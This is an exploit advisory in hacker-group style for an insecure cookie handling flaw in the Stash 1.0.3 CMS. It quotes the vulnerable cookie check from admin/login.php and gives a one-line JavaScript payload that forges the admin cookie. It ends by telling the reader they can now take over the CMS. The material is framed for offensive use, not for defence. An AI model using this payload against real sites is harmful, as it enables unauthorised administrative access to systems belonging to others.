Stash 1.0.3 Insecure Cookie Handling Vulnerability

#################################################################################################### # # # ...:::::stash-1.0.3 Insecure Cookie Handling Vulnerability ::::.... # ################################################################################################### ----------------------- Discoverd By : Ciph3r special tnx to : Iranian hacker & Kurdish Security TEAM E-Mail : Ciph3r_blackhat@yahoo.com cms : http://sourceforge.net/project/showfiles.php?group_id=206129 ----------------------- DESCRIPTION: stash-1.0.3, suffers from insecure cookie handling, when a admin login is successfull the script creates a cookie to show the rest of the admin area the user is already logged in. the bad thing is the cookie doesnt contain any password or anything alike, therefor we can craft a admin cookie and make it look like we are logged in as a legit admin. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- vuln code in admin/login.php if(isset($_COOKIE['bsm'])&&isset($_COOKIE['msb'])){ $authenticate->checkCookie($_COOKIE['bsm'],$_COOKIE['msb']); ----------------------------------------- exploit: javascript:document.cookie = "bsm=1; path=/"; ----- now you can get admin access and manage the cms ;) -------------------------------------------